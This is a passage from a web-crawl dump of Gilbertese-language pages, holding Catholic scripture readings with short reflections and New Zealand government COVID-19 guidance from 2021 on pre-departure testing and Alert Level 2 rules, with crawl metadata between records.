motirawa.\"Tarataraingkami, tari, ba e na akea temanna i buakomi ae e na reke irouna te nano ae buakaka ma te rawa n onimaki, ba e na kitana te Atua ae maiu. Kaungai nanomi i boni iroumi ni katoa bong ao ni kabongnga, ba e aonga n akea temanna i buakomi ae e na kamatoaki nanona n ana kariri te bure. Ba ti buokanibai ma Kristo ti ngkana ti kawakina ara moan onimaki ni matotoa, ni karokoa te toki.\nTe Taramo 94: 6-11\nKaekana: Ngkana kam ongo banana, ao tai kamatoai nanomi\nRin, bobaraki, Katorobubua, Ti na taromauria te Uea ae karikira. Bon Atuara Ngaia,\nao ngaira ana botanaomata ae E kairia, ma ana nanai ae E kawakinna ni baina. K\nOngora n ana taeka n te bong aei: \"Tai kamatoai nanomi n ai aroma i Meriba\nNgke kam mena I Matia n te rereua, Ngke e kataai ma ni kaunai ami bakatibu,\nAo a bon nori au makuri. K\nA kaunai te roro aei abui te ririki, Ao I kangai: \"Bon te botanaomata ae nanoro,\nae aki Ota n au katei. Ao I taetae n tuea ma te un, ni kangai:\n\"A na bon aki rin i nanon au motirawa.\" K\nAlleluia, alleluia.\nTe Uea, reireiai kawaiu, kairai n te kawai ae eti Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 1: 40 – 45\nE kawara Iesu temanna te rebera, ni butia, ao e katorobubua ma n taku: \"Ngkana nanom, ao Ko kona ni kamaiuai.\"e rotaki Iesu n te nanoanga, ao E arora baina n ringnga, ao E taku: \"Bon nanou, ko na maiu.\" Ao e toki naba reberana, ao e marurung. Ma E karawawata ana taeka nakoina temanna, ma nako, kaotiko nakon te berebitero, ao anga te karea are e baireia Mote, i bukin kamaiuam, ba aia bai ni kakoaua.\" Ma ngke e nako, ao e taekinna ma ni katanoata rongorongona. Ao ngkanne E aki kona n rin Iesu n te kawa teuana, n aki karaba; ma E titiku i tinaniku, n tabo aika rereua; ao E kawaraki man tabo nako.\nTibatiba: Ngkana kam ongo banana n te bong aio, ao tai kamatoai nanomi\nTariu ao maneu ti a tia tuangaki ba e tia n taetae te Atua nakoira n aro ao n anga aika a bati ma n te tai aio ao e taetae te Atua iroun Natina ae Iesu are a tiba bungiaki nakoira inanon te Kiritimati. Inanon kororaoin te tai ao e kanakoa Natina te Atua ba e na bungiaki iroun Nei Maria ao ngkai ti a tia n noria ao n ongo banana n tai aikai. Irarikin nnne ao e a tia naba te Uea ni muiokoia ana botanaomata te Atua ba a na kabuta te rongorongo ae raoiroi nakon tokin aonnaba ao a na babetitoia te koraki n aran te Atua ae te Teniman Temanna ae te Tama, te Nati ao te Tamnei ae Raoiroi. E anganira naba ana taeka ae tabu n te Baibara ba te tia kairira nakon are Nanona ao e a tia naba ni katuka ana baintangira ae kakawkai nakoira ae bon Rabatana ae Maiu n te Eukari.\nBon ti teuana ana kantaninga te Atua ba e tangiria ba ti na bane maeka irarikina n te Abaniea ae Karawa ke Ierutarem ae Bou. Aio bon te tabo ae ti na aki manga nora te tang ma te mate ao te nanokawaki iai ma bon te tabo are ti katonga iai kororaoin te kukurei inanon te mimitong ae aki totoki,\nE a manga kauringira Iesu n te bong aio ba ngkana ti ongo banana n te bong aio ao ti na aki kamatoai nanora. Eng nanon ana taeka Iesu aio ba e bon rawawata nanona ngkana ti rawa n ongo banana ba ti na bon karekea te mate ae akea tokina ao ti na bon kabua te kamaiuaki are e a tia n anganira ngke e maraki ao e tine iaon te kaibangaki ao e mate ibukira. E bon rawa nanon Iesu ba e na norira ba ti na nakon te mate ao te kabuakakaki ae akea tokina.\nTe nano ae maraurau ao ae nanorinano bon ngaia kingin te kamaiuaki ae kan anganira Iesu. E na bon rotira te ranga n ran ni kamaiu ngkana ti baina te nano ae mangori, ae rinano ae kona n ranga nako iai te te ran ni kamaiu. Ti na bubutia te Atua ae maka man nanoanga ba e na anganira nanora aika maraurau aika a na kai rotaki n ana taeka te Atua ae na anganira tiaki ti n te bong ma ni kananei bongin maiura.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1580-ngkana-kam-ongo-banana-n-te-bong-aio-ao-tai-kamatoai-nanomi","date":"2021-01-21T18:37:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00796.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":856,"character_repetition_ratio":0.056,"word_repetition_ratio":0.005,"special_characters_ratio":0.234,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 2 Kanimabong\nWarekan te Reta nakoia Ebera.. 8: 6-13\nE a tia n anganaki Kristo te nakoa ae rine riki, ngkai bon te tia raoi n te berita ae kakanato riki, ae kateaki i aon taiani motintaeka aika raoiroi riki. Ngke arona ba akea waean te moa ni berita anne, ao e na aki bae n oneaki muina n te berita teuana. Ma e boni waeaki iroun te Atua, ba E kangai:\nA na roko bong aika N na katea iai te berita ae bou Ma te utu ae Iteraera ao te utu ae Iuta, Tiaki aron te berita are I karaoia ma aia bakatibu, Ngke I tau baia ni kaotinakoia man te aba ae Aikubita. Ngke a rawa n tiku i nanon au berita, ao I kaki taekaia naba Ngai. Bon ana taeka te Uea.\nAei te berita ae N na karaoia ma te utu ae Iteraera i muini bong akanne: Bon ana taeka te Uea-\nN na karin au tua irouia, N na koroi i nanoia. N na riki ba Atuaia ao a na riki ba au botanaomata. Akea temanna ae na bae n reireia raona ke n tuanga tarina ni kangai: \"Karekea atakin te Uea.\" Ba a na bane n ataai akana mangori ma akana kakanato, ba N na kabarai aia bure, ao N na aki manga uring buakakaia. Ngke E taekina te berita ae bou, ao E kaotia ba e a bai ni ikawai te moa ni berita. Ane bai ni ikawai te moa ni berita. Ane bai ni ikawai ma ni mane, ao e nangi boni mauna.\nTe Taramo 84: 8, 10-14\nKaekana: A na botaki te tangira ao te koaua.\nTe Uea, kaota am tangira nakoira, ao karekea kamaiuara.\nA kai kamaiuaki akana makua, ao e na maeka mimitongina i abara. K\nE botaki te tangira ma te koaua,e iraorao te eti ma te raoi.\nE riki te koaua man te tano,e baraki te eti mai karawa. K\nE karekea te kabaia te Uea,e anga uana abara.\nE rimoana te eti,e rimuina te raoi. K.\nAlleluia, alleluia.\nAnganai te maiu, te Uea, ao N na ira nanon am tua.Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 3: 13 - 19\nE ararakea te maunga Iesu, ao E weteia uake E kani weteia. A nakoina, ao E kateia tengauni ma uoman ba raona ba E na kanakoia n reirei ma te maka ni kanakoia taimonio. Ma ngaia ae E kateia uake tengauni ma uoman, ba Timon are E aranna ba Betero, ao Iakobo, ake E arania ba Boanarke, ae nanona natin te aba, ao Anterea, Biribo, Batoromaio`1, Toma, Iakobo ae natin Arebaio, Tataio, Timon te Kananaian, ao Iuta Itikariota are na kamanea.\nTibatiba: E kaboua ana Berita n Akoi te Atua ma ana botanaomata\nE kaota kororaoin ana tangira nakoira te Atua inanon taian Berita n akoi ake W karaoi ma ara bakatibu. Ti kakoaua inanon roro ma roro e a manga uruaki ana boraraoi te Atua ibukina ba ti a manga tannako mairoun te Atua. E bon aki kona ni bitaki te Atua ma boni ngaira aika ti bibitaki. Irarikin anne ao inanon taian boraraoi ke Berita n Akoi ao ti ataia ba e kani kamatoa ma ngaira te Atua ba ti na riki ngaira ba ana botanaomata ao Ngaia E na reke ba Atuara. Ba ngkana ti nim ma te Atua ao bon ti ngaia anne te anga ae ti kona iai ni karekea te kamaiuaki ni koaua n riki ba ana botanaomata ao Ngaia e na riki ba Atuara. Ti uringia Iteraera ngkoa ngke e kaotinakoia ba E anga ana Berita n akoi te Atua inanon taian tua aika koreaki iaon baba n atibu. N te bong aio inanon ana reta Bauro nakoia I-Korinto ao E kaotia te Atua ba e a korei ana tua inanora te Atua tiaki n aiaron te tai are taui baia Iteraera ni kaotinakoia mai Aikubita ma n tet tai aio ao e kangai te Uea\"N na karin au tua irouia, N na koroi i nanoia. N na riki ba Atuaia ao a na riki ba au botanaomata\". Inanon te berita n akoi ae bou aio ao e na bon aki kainanoaki reiakinan temanna ba e aonga n ata te Atua ma a na bane botannaomata n ataia ba E nanoanga te Atua ao e tauraoi n ni kabarai ara bure.\nTi na butia te Atua ba ti bon aki kona n raure nako ma Ngaia ma ti na nim n tai nako ma Ngaia ao ti na mate ao ni mangauti ma Ngaia nakon te maiu ae akea tokina i Karawa.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1586-tibatiba-e-kaboua-ana-berita-n-akoi-te-atua-ma-ana-botanaomata","date":"2021-03-05T07:59:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178370239.72\/warc\/CC-MAIN-20210305060756-20210305090756-00578.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":754,"character_repetition_ratio":0.056,"word_repetition_ratio":0.04,"special_characters_ratio":0.238,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Totokoan rinin manin te aoraki aio ngaia te moanibwai ae e rang kakawaki ibukin tararuara ao katanara.\nMan 11:59pm n 25 bongin Tianuare 2021, a na bane n riai n tia ni karaoi aia tutuo ibukin te COVID-19 , tan mwananga nako Nutiran, ma e aki kaineti aio nakoia tan mwananga mai Aotiteria, Antarctica, Cook Islands, Federated State of Micronesia, Biti, Kiribati, Matiare, Nauru, New Caledonia, Niue, Palau, Samoa, Toromon, Tokelau, Tonga, Tuvalu, Vanuatu ao Wallis ao Furtuna itibui ma uoua (72) te aoa imwain mwanangaia are e na kaota akean manin te aoraki aio irouia ao ana iai naba aia bebwa ni kakoaua man te tabo are e karaoa aia tutuo ke te boom ni kakoaua are e butimaeaki.\nAikai aekaki n tutuo aika a butimwaeaki imwain te mwanaga: PCR, LAMP ao Viral Antigen.\nA na riai ni bane ni karaoaki tutuo aikai n te tabo n tuo rara (laboratory).\nA butimwaeaki medical certificates n taetaen aba nako.\nAtaei ake a tuai koro uoua aia ririki (24 te namakaina) a aki reke ian ae a na karaoa te tutuo imwain te mwanaga.\nA aki kantaningaki bwa a na karaoa te tutuo imwain te mananga tan mwanaga ake a kona ni kaota aia medical certificate are e kakoauaki iai bwa a tia n marurung man te COVID-19 ao aikoa kona ni kaewea manin te aoraki.\nNake a aki kona ni karaoa te tutuo ibukin tuan mauria , a riai n nora te taokita itibui ma uoua (72) te aoa imwain mwanangaia. A na riai n karaoa am beba ni kakoaua are e na kaotia bwa ko aki kona nI karaoa te tutuo ibukin tuan maurim ao akea naba iroum kanikinaean te COVID-19.\nTan mwananga ake a roko i Nutiran ibukin reitan mwanangaia nakon aia tabo are ana toki iai ao man aki otinako aki kantaningaki bwa a na karaoa te tutuo imwain te mwananga.\nA kaumakaki tani mwamwananga bwa a na ongora man aobitin mwamwananga ngkana iai rakan bwaai aika a tangiraki ibukin tutuo imwain te mwananga. A kaumakaki naba bwa a na karekei rongorongon bwaai aika a tangiraki n aba ake a na tikutiku iai iaon kawaia nakon aia tabo.\nMan 8 bongin Beberuare, ao ni kabane tan mwanaga ake a roko iaon Nutiran (ma ti aki nakoia tan mwananga man aba ake aki kabaeaki) a ana kona ni katuaeaki n te mwaiti ae e nakon $1,000 ngkana akea kakoauan aia tutuo are akea manin te COVID-19 irouia ke akea aia medical certificate.\nN Day 0 tutuo aika a riai ni karaoi nake a na mwananga nako Nutiran\nA na bane tan roko ni karaoi baikai n te tai are a roko iai i Nutiran:\n- a na kabanea 14 te bong n rinanon te tua ni kaokoroaki ibukin kaitiakaia bwa akea te aoraki irouia\n- ana karaoa aia tutuo ibukin COVID-19 n day 0, are nanona bwa a na tuoaki ngkana a moan roko n rin n tabo n kaokoroaki ake a tararuaki\n- a riai n tiku n aia ruu ni karokoa ae e oki muin aia tutuo\n- ngkana a roko ma iai kanikinaean te COVID-19 irouia ao a na kaineti nakon te tabo n quarantine.\nTe tutuo aio bon te PCR nasal swab.\nAngin tutuo a otinako muia 24-48 te aoa imuin karaoakia.\nNgkana akea manin te aoraki ni muin te tutuo ao aomata aikai ana bon kabanea naba nikiran aia bong ake 14 te bong n te tabo ni kaokoroaki are e tararuaki. A na manga karaoi riki aia tutuo n aia katenibong (3) ao manga n aia katebui ma uoua (12) ni bong inanon aia tai n tiku. Angia aomata ake akea manin te COVID-19 n aia tutuo, ana ti kona n otinako ngkana e a tia ni kamatoaki ao ni kakoauaki mairoun ara tiim n tararua ibukin te mauri bwa e uarereke angan reken ke kaewean manin te COVID-19 irouia.\nE na moantaai ni kamwaingaki ngkai te aomata are e reke manin te aoraki n ana tutuo nakon te tabo ni quarantine, nakon are ngke akea te tutuo n day 0.\nBaninin rongorongo\nIbukin rongorongon te COVID-19 aika a boou, taiaoka nakon https:\/\/covid19.govt.nz\/updates-and-resources\/translations\/\nIbukin riki rongorongo i aon tabo ni kaokoroaki aika a tararuaki ao quarantine, taiaoka nakon https:\/\/www.miq.govt.nz\/travel-to-new-zealand\/arriving-in-nz\/ (external link)\nLast updated:","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/covid19.govt.nz\/updates-and-resources\/translations\/kiribati\/pre-departure-testing-for-travellers-to-new-zealand\/","date":"2021-03-04T16:18:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178369420.71\/warc\/CC-MAIN-20210304143817-20210304173817-00512.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":690,"character_repetition_ratio":0.074,"word_repetition_ratio":0.003,"special_characters_ratio":0.228,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N taian Kauring ni Karinan ni kabane, taabo ni mwakuri aika kakawaki man kainanoaki (essential) n ikotaki ma taabo ni kuakua (health services), taabo ni mwakuri ibukin kainnano aika tawe ao tararuan te rau (emergency services), kainnano n te mwenga n aron te iti ma te ran (utilities) ao bao ibukin amarake ma bwaai (goods transport) a na bon teimatoa ni mwakuri ao n tauraoi ibukia te botanaomata. Taan kamwakuri n taabo aikai a kabaeaki i an te tua bwa a na teimatoa n tararuai mauria ao manoia.\nNgkana arona bwa iai kabuanibwai aika karina n riki (emergency) n taian Kauring ni Karinan ni kabane, iri nanon kaetieti ibukin te kabuanibwai. Taian kaetieti i aon te kamwaing n tain te kabuanibwai e na kona n ekanako te kaetieti i aon ana Kauring COVID-19 are te tiku n te mwenga.\nTe maeka inanon te karinan 2\nN te Karinan ni Kauring 2 ko riai:\n- Kateimatoa te tau raroa ae 2 te miita marangam ma aomata i tinanikun mwengam, ao 1 te miita n taabo ni mwakuri\n- Kabongana nangoan te ubu iaon baao ni mwamwananga ibukia te botannaomata, wanikiba, ke ngkana e kanganga tauan marangam ma aomata ngkana tao ko mena n te Supermarket ke n taabo ni bobwai\n- Teboka ao kamwaua baim n tainako\n- Ngkana iai kanikinaean te aoraki iroum ae te kabuebue ke aorakin te mwaitoro ao ko riai n tiku ni mwengam.Tarebonia am taokita ke Healthline bwa ko na tuoaki. Tai mwananga, tai nakon te reirei ke te mwakuri\n- Taua mwin taabo ake ko nako iai ao aomata aika ko kaitibo ma ngaiia. Kabongana te NZ COVID Tracer app, te boki ibukin COVID-19 tracer, ke koroi mwia ni kabane.\nTi 100 aomata ae a katauaki ibukin botaki n aron te taromauri, taian takakaro ao botaki ni kakukurei\nKaean te mate ao te taunimate e katauaki nakon te mwaiti ae ti 100 aomata ma iai kaetieti aika a na riai n iraki nanoia.\nNangaoan te ubu ma Kamanoana\nE na riai ni kabonganaki kamanoan ke nangoan te ubu i aon ana bao ni mwamwananga te botanaomata i aon Nutiran n ana Kauring ni Karinan COVID-19 ni kabane. E rang kaungaki naba kabonganan kamanoan ke nangoan te ubu ngkana e na kanganga tauan raroam ma aomata riki n taabo ni bobwai aika bubura ke titoa.\nTera ae na karaoaki ngkana iai ae mate\nNgkana iai ae mate:\n- Reitaki nakon te tabo ni kuakua ke ana taokita te aomata are mate\n- Reitaki nakoia taan mwakuri ibukia mate ngkana kam kan kabonganaia\nNgkana e mate te aomata ao:\n- e aki ataki bukina, e na karaoaki te kakae bwa tera ae riki irouna. Te tabo ni kuakua e na ibuobuoki ao e na kaongoaki naba te tabo ni bureitiman\n- e bon ataki aorakina ke bukin matena, e na reitaki aia tabo ni kuakua ma taan mwakuri ibukia mate ngkana e a bon tia n rineaki teuana - taan mwakuri ibukia mate a na manga reitaki nakoimi ibukin kaetieti.\n- COVID-19, ami tabo ni kuakua e na ibuobuoki ibukin rongorongo ma baika a na karaoaki imwina.\nIbukin taian mate ao kaean taian mate ni kabane\nIbukin buokan katokan butinakon te COVID-19 a butiaki aomata aika iai aorakin te mwaitoro ma te kabuebue irouia bwa kam riai n tiku ni mwengaia.\nTauan mwiin te nakonako ke te mwamwananga bon te bwai ae rang kakawaki ibukin totokoan COVID-19. Ibukin taian taunimate ma kaean taian mate ni kabane, e na bon riai n iai tauan mwia aomata ae tauraoi ibukia.\nKawakina maurim – kateimatoa te kakaitiaki, teboka raoi baim ao kateimatoa tauan raroam ke marangam ngkana ko kona.\nNgkana ko aki kona n taua raroam ke marangam ma aomata aika ko aki kinaia, ti kaunga kabonganan nangoan ke rabunan te ubu.\nTe Taunimate ma kaean te mate n te Kauring Karinan 2\nInanon te Kauring Karinan 2 ao e katauaki te mwaiti ae na aki riaon te bubua (100) te aomata aika kona ni kaea te mate ke te taunimate.\nKo aki bae n reitaki ma te Botaki ni Kuakua ibukin karaoan te taunimate ke te botaki ni mate.\nKam kabaeaki ian te Tua bwa e na iraki raoi nanon te kaetieti iaon tauan mwiia aomata.\nTe tua ke kaetieti ibukin te bobotaki titebo ma te tua ibukin te taunimate ao kaean te mate ae karaoaki n taabo aikai:\n- taabo ni mate ke auti ni mate\n- umwantabu, taabo n taromauri ao taabo ni botaki ibukin taian aro\n- taian tabo aika tangoaki ke kabonganaki\n- n oin ana tabo te utu\nBwanin te rongorongo ibukin tuan ke kaetieti iaon te bobotaki e na kona n reke iaon https:\/\/covid19.govt.nz\/everyday-life\/gatherings-and-events\/#social-gatherings-at-alert-level-2\nTi kaunga totokoan te reitaki ma aomata n aron te taubai ke te iobai, arokan te taba, ao te irabwati ma ko ti kona ni karaoi aikai ngkana arona bwa:\n- ko bon maeka ma aomata aikai\n- bon kain am utu\n- bon raraom ni kaan\nKatauan te mwaiti\nTe mwaiti ae katauaki (are tengaun, nimangaun ke tebubua) e aki warekaki iai te tia wewete iaon te marae, te tia taetae man te marae, ao ana aomata te mitinare ke raon te mitinare n roko.\nKurubu aika bati\nA kona kurubu aika bati ni kaea te taunimate ke te botaki ni mate. E na aki riai n raka mwaitia aomata n aron are baireaki (are tengaun, nimangaun ke tebubua) n teuana te tai. Te kurubu e na riai ni mwawa imwain are manga roko are imwina. Aki kona n ikotaki ke n itamwaomwao kurubu aika uoua ke mwaiti riki.\nTe tabo ae katauaki\nTe tabo ae katauaki bon te tabo ae katannakoaki ke ni kaokoroaki ae kona ni mena inanon te auti ke i tinaniku.\nTe tabo inanon te auti bon te tabo ae oaki ae katannakoaki ke ni kaokoroaki man taabo ake a ukinako. E kona ni kateaki te o ao ni kona naba ni kanakoaki ke ni bon tiku n arona.\nTe tabo ae katauaki i tinaniku bon te tabo ae katannakoaki ke ni kaokoroaki ngkana:\n- iai ona aika e kaokoroaki iai man taabo ake tabeua ke taabo ake a ukinako – te o e kona ni kanakoaki ke ni bon tiku n arona\n- 2 te miita marangaia aomata imarenania inanon te tabo ao imarenaia naba aomata (i tinanikun te tabo anne).\nNgkana e riaon teuana te tabo ae katauaki, a riai aomata n aki irengan imarenan taabo akanne. Aio naba ngkana a rin, a otinako, ke a kabongana te roki.\nTaabo aika ko kona n nako iai ibukin rongorongona riki\n- Te Botaki ni Kuakua ibukin kaetieti iaoia taian mate, taunimatae ao kaean te mate (external link)\n- Rongorongo ibukia ake a tibwa mate – Te Hokinga ā Wairua End of Life Service (external link)\n- Taan mwakuri ibukia Mate iaon Nutiran – Funeral Directors' Association of New Zealand (external link)\n- Kaetieti iaon te Taunimate ao kaean te mate man te Office of Ethnic Communities (external link)\nKaroaon te bitineti inanon te mano\nTaan bitineti aika iri nanon kaetieti mairoun te tabo ni mwakuri ibukin kuakua a kona n uki nakoia aia taan mwakuri ao bon nakoia naba aomata.\nAna kaetieti te tabo ni mwakuri ibukin kuakua e rekereke ma aikai:\n- e na teretere ke ni kona n noraki rongorongon te NZ COVID Tracer app QR code ao e na iai naba tabeua riki anga ae na kona n tauaki iai mwia aomata; ao\n- e na teimatoa te kakaitiaki ae korakora n aron te tebo bai ao kateimatoan kaoan mataniwin taabo, ao\n- e na iraki nanon te tau raroa ke tauan marangam ma aomata.\nMwakuri aika karaoaki n aia tabo aomata – te katoto n aron mwengaia, ao mwakuri aika a rekereke ma kanian te aomata, a kona ni bane ni karaoaki ngkana e iraki nanon ana kaetieti te tabo ni mwakuri ibukin kuakua.\nAki kona taabo ni mwakuri ni karaoi aia mwakuri ngkana e aki iraki nanon kaetieti aikai.\nA kaungaki bitineti nako bwa a na riai n rabakau ni kabonganai aanga ni mwakuri tabeua ngkana e angaraoi ao a na reitaki ma aia taan mwakuri bwa a na kona n atai ke n nori kanganga ao ni kona naba n tararuai ke n totokoi rikiia.\nTaian bitineti a riai naba ni kona ni kaitarai aanga ni kateimatoa te marurunga ao te mauri, ao a na kawakinia aia taan mwakuri bwa a na mano ao ni marurung ao e iraki nanon tuan te kamwakuri.\nTe reirei inanon karinan 2\nTe reirei ibukia ataei aika a uarereke, aia reirei ataei, ao reirei ake a rietata a na bane n uki ibukia te roro ni kabane.\nAkea te kanganga bwa mano ataei inanon aia tabo n reirei.\nA riai ataei ke roro n rikirake n tiku ni mwengaia ngkana:\n- aoraki\n- iai irouia ana kanikina COVID-19\n- a tiku ni kaokoroaki ibukin te aoraki\n- tataninga okin mwin aia tutuo n te COVID-19.\nTe mwamwananga ao te mwainging n te Kauring Karinan 2\nNgkana ko bon aoraki, tiku ni mwengam.\nNgkana ko marurung, ko kona ni mwananga. Ma uringa karaoia n te aro ae ko na mano iai.\nKabongana nangoan te ubu iaon baao ni mwamwananga ibukia te botannaomata ke ngkana ko aki kona n taua marangam ke raroam. Taua mwin mwaingingim.\nTe kamarurung ao taabo n takakaro n te Kauring Karinan 2\nN te Kauring Karinan 2, ko kona n karaoa am takakaro ae ko taneiai iai ao am mwakuri ni kamarurung ngkana ko bon kona n karaoi n te aro are kona mano iai. Ma ngkana ko aoraki, tiku ni mwengam.\nNgkana ko karaoa am kamarurung n ana tabo te botannaomata, kataia kawakina tauan marangam ae 2 te miita mairouia aomata aika ko aki kinaia ke n taneiai ma ngaiia.\n- Ko kona n karaoi mwakuri n aekan:\n- te rianna, te bwatika ao te tiriman n taabo ake akea kaina\n- te nako n uaua n te tabo n uaua ibukia aomata, ma iai naba taian tua aika a na iraki nanoia\n- te nakon te tabo ni kamarurung, ma iai naba taian tua aika a na iraki nanoia\n- te buti n te booti ao takakaro i tari.\nTaan takakaro n te community e na aki naba raka mwaitia iaon 100 n aia kurubu.\nAki ikotaki taan kaira te takakaro, taani mwakuri ao raoia riki tabeman ake a karaoi mwakuri ibukin te takakaro n te mwaiti are 100.\nE aki katauaki mwaitia bwakuakun te takakaro, taan rabakau ma raoia n rabakau n te takakaro ngkana a ikotaki. Ibukina bwa a taraki kanga taan mwakuri naba ngaiia. Taani mataku ake a roko ni mataku n te takakaro, e katauaki te mwaiti ae 100 ngkana a ikotaki.\nTe marae n takakaro e kona ni bati aron kabonganana ma e riai ni kawakinaki:\n- kain te kurubu ae na aki raka iaon 100\n- katannakoan taian kurubu inanon kawakinan 2 te miita imarenaia i tinaniku ke imarenan tiaia.\nA riai ni kawakinanki kurubu bwa a na aki irengan imarenaia ke ni kabonganai ao n ibuobuoki aia bwai n te tai ae ti teuana.\nTaan kaira te takakaro ao nake a tabeakina te tabo a kabaeaki bwa a na taui mwia aomata ake a roko n te takakaro.\nTaian botaki irouia aomata\nTe botaki irouia aomata e na riai n aki raka ke n riaon 100 te aomata n te tabo ae katauaki n te tai teuana ma teuana.\nAio n ikotaki ma:\n- kawaran am auti irouia am iruwa\n- te botaki n te utu\n- te botaki ni mare\n- te botaki inanon te aro\n- taian kirabu n aekaia nako ao taabo n takakaro\n- botaki aika onoti n aron te bong ni bung ke aia botaki mmwaane ibon irouia.\nE aki ikotaki mwaitia koraki ke aomata ake iai tabeia ibukin te botaki ma te mwaiti are katauaki ae 100.\nKateimatoa itiakin mataniwiin am tabo, teboka baim n tainako ao kateimatoa te tau raroa ma aomata ngkana e angaraoi. Ngkana ko aki kona n taua raoram ke marangam mairouia aomata aika ko aki kinaia, iangoa kabonganan te nangoa n ubu.\nIan te tua ao e kantaningaki te aomata are tabeakina te botaki bwa e na riai n taui mwia aomata ake a roko n te aro are ngkana e na riai n karaoaki te ruamwi ao e na bebete. E aki kainanoaki aio ngkana a bon kinaia ibon irouia kain te botaki, ma bon te iango ae rang raoiroi karaoana.\nNgkan iai am tabo ni botaki ae ko tangoia, e riai n iraki nakon te babaire ke te kairiri iaon tauan mwia aomata.\nLast updated:","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/covid19.govt.nz\/updates-and-resources\/translations\/kiribati\/living-at-level-2\/","date":"2021-04-10T18:23:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038057476.6\/warc\/CC-MAIN-20210410181215-20210410211215-00612.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2038,"character_repetition_ratio":0.057,"word_repetition_ratio":0.004,"special_characters_ratio":0.217,"stopwords_ratio":0.37,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki i muin te Epiphany Kanimabong\nWarekan ana moa n Reta Ioane. 5: 5-13\nAntai ae kataea ana kai aonteaba? Bon teuare kakoaua Iesu ba Natin te Atua. Boni Ngaia Iesu Kristo are roko n te ran ao n te rara; tiaki ti te ran, ma boni n te ran ao te rara. Bon te Tamnei te tia kakoaua. Ma ngaia ae bon teniman tani kakoaua: ba te Tamnei, te ran ao te rara, ao a borai ngaia n teniman. Ti kariaia aia kakoaua aomata, ma e kakanato riki ana kakoaua te Atua. Ao aei ana kakoau te Atua n taekan Natina: ane kakoaua Natin te Atua, ao e mena i nanona ana kakoaua te Atua. Ane aki kakoaua te Atua, ao e arana te Atua ba te tia kewe ngkai e rawa n ana kakoaua te Atua n taekan Natina. Ao aei te kakoaua anne: E anganira te maiu ae aki toki te Atua, ao e mena te maiu anne i nanon Natina. Ane iai te Nati irouna, ao iai te maiu irouna; ane akea te Nati irouna, ao akea te maiu irouna.\nI koroi baikanne nakoimi ba kam aonga n ataia ba iai te maiu ae aki toki iroumi, ngkai kam kakoaua aran Natin te Atua.\nTe Taramo 147: 12-15, 19-20\nKaekana: Ierutarem, neboa te Uea.\nIerutarem, neboa te Uea, Tion, neboa Atuam.\nE kamatoai kaini mataroam, E kakabaiaia natim akana i nanom. K\nE kawakina te raoi i aon tiam, E kanuaiko ni burawan te uita.\nE kanakoa ana taeka nako aon te aba, e buti maka ana rongorongo i aona. K\nE kaota ana taeka nakoni Iakoba, ao ana tua ma ana moti nakoni Iteraera.\nE aki karaoa anne nakon te aba riki teuana: a aki atai ana makuri. K\nAlleluia, alleluia\nE na neboaki Kristo ae kaoti i aon te aba, E na neboaki irouia akana kakoaua. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka…5: 12-16\nE mena Iesu n te kawa teuana, ao e roko temanna te aomata ae e buta rabatana n te rebera. Ngke e nora Iesu, ao e baka ni bobaraki i matana ma ni butia ni kangai: \"Te Uea, ngkana nanom, ao Ko kona ni kamaiuai.\" E arora baina Iesu n ringnga, ao E kangai: \"Bon nanou, ko na maiu.\" Ao e a mauna naba reberana. E tua Iesu nakoina ba e na aki kaongoa temanna, ao E kangai nakoina: \"Nako, kaotiko nakon te berebitero, ao anga te karea i bukini kamaiuam, n ai aron ana baire Mote, ba te bai ni kakoaua i bukia.\"\nE buti nako taekana ma n raka nako, ao a baneakinna aomata ake a maiti, ba a na ongora irouna ao ana katokaki aorakia. Ma E nanako Ngaia nakon tabo aika rereua, ao E tataro.\nTibatiba: Ane iai te Nati irouna, ao iai te maiu irouna\nTao e na riai ni matata raoi iroura ngkai ba tera nanon Kiritimati ao tera oin kantaninga te Atua ibukira ba ti aonga n reita nako ana baintangira te Atua ae ti a tia ni karekea n te Kiritimati. N te bong aio ti a manga kauringaki ba e na koro nanon te kiritimati nakoira ngkana ti onimaki ao ti kakoaua ba Iesu bon Natin te Atua ae e roko ni kawarira ba ti aonga ni bane ni kamauiaki. Ao ngkana ti kakoaua Iesu ba natin te Atua ao e na maeka ni koaua ngkana ti maiuakina te tangira are E tia n anganira ngke e maraki ao mani mate ibukira iaon te kaibangaki. Eng e na bon maeka ni koaua inanora Iesu ngkana ti kakoaua ao ti ira nanona ni maiuakina ana tangira nakoia raora. Ao ngkana ti maiuna ana tangira ao ngkanne E na bon maiu ni koaua inanora Iesu. Are nanona ba ngkana E 